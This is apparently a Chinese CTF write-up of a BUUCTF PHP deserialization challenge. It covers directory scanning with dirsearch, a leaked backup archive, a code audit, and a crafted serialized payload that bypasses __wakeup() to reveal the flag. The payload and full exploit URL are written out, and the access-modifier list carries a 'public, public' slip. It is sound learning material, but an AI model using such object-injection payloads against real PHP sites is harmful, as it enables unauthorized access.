前言
以前一直对PHP反序列化似懂非懂,现在借此机会将其弄懂,参考了各位师傅的wp而一步一步的学习。
CTF平台:https://buuoj.cn/challenges(传送门)
过程
打开之后是这样的画面
根据题目提示备份网站,所以很容易想到备份的源码泄露----->用dirsearch扫目录
dirsearch
一款基于python3的目录爆破工具
下载地址: (没有这个工具的可以进入giuhub下载,此处附上链接)
https://github.com/maurosoria/dirsearch
使用
-u 指定url
-e 指定网站语言
-w 可以加上自己的字典(带上路径)
-r 递归跑(查到一个目录后,在目录后在重复跑,很慢,不建议用)
进入dirsearch目录后
执行dirsearch.py -u 127.0.0.1 -e php类似的目录,这里我们使用
dirsearch.py -u http://71f04e34-1537-41f0-8c4f-e3de12f432b9.node3.buuoj.cn -e php
扫描后发现里面的文件非常的多,不过我们需要的是备份文件,所以找到备份文件的地方。
直接在url后加上www.zip就可以下载压缩包,在本地解压后发现一下文件
打开flag.php提交里面的flag不过是假的…
那就老老实实查看别的文件
打开index.php发现了这样的一段代码
解读过来就是包含了class.php,变量select 传入并反序列化。所以,这可能是一道PHP反序列化的一道题。
接下来我们再看看class.php,审计一下
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
首先看如何得flag,一看就很明显了,需要反序列化后满足 password = 100 和username === ‘admin’
所以我们需要达成这些需求。在class.php的后面构造序列化,加上一下两句代码在class.php的后面即可
$a = new Name("admin",100);
var_dump(serialize($a));
或者
$a = new Name("admin",100);
echo (serialize($a));
在本地运行后得到的序列化为:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
到了这一步,问题就来了,在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct
跳过__wakeup()
作用:
与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
上面的序列化中,其中name后面的2,代表类中有2个属性,但如果我们把2改成3,就会绕过__wakeup()函数。
因此我们将序列化这样设置
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
不过还是没有结束,因为这个声明变量是private
private
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
其中学习到的知识点挺多: 附上传送门大家自行学习下
不同的访问修饰符对应的序列化也有不同。
public 、public、protected
访问修饰符,分别对应着类中的 公有、私有、受保护成员。引用解释
不同的访问修饰符对应的序列化也有不同。
各访问修饰符序列化后的区别:
public:属性被序列化的时候属性名还是原来的属性名,没有任何改变
protected:属性被序列化的时候属性名会变成%00*%00属性名,长度跟随属性名长度而改变
private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变
我们再次改造一下序列化
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
最后,将构造好的序列化当作select的参数传递到url上即可
http://bcaed708-bce7-42a1-8925-01cd21b3574b.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
得到flag{e6b787e5-6b81-436e-aeb7-d4cf70d7774c}
总结
1、dirsearch
2、PHP反序列化(代码审计)
3、跳过__wakeup()
4、public 、public、protected 序列化时的差别。(重点)
还有可以用python传值 -->参考
关于PHP序列化与反序列化(__sleep与__wakeup)还不了解的可以参考这位师傅的博客—>传送门
参考了几位师傅的wp,特此感谢
https://segmentfault.com/a/1190000022534926
https://blog.csdn.net/TM_1024/article/details/106627210
https://blog.csdn.net/weixin_44077544/article/details/103542260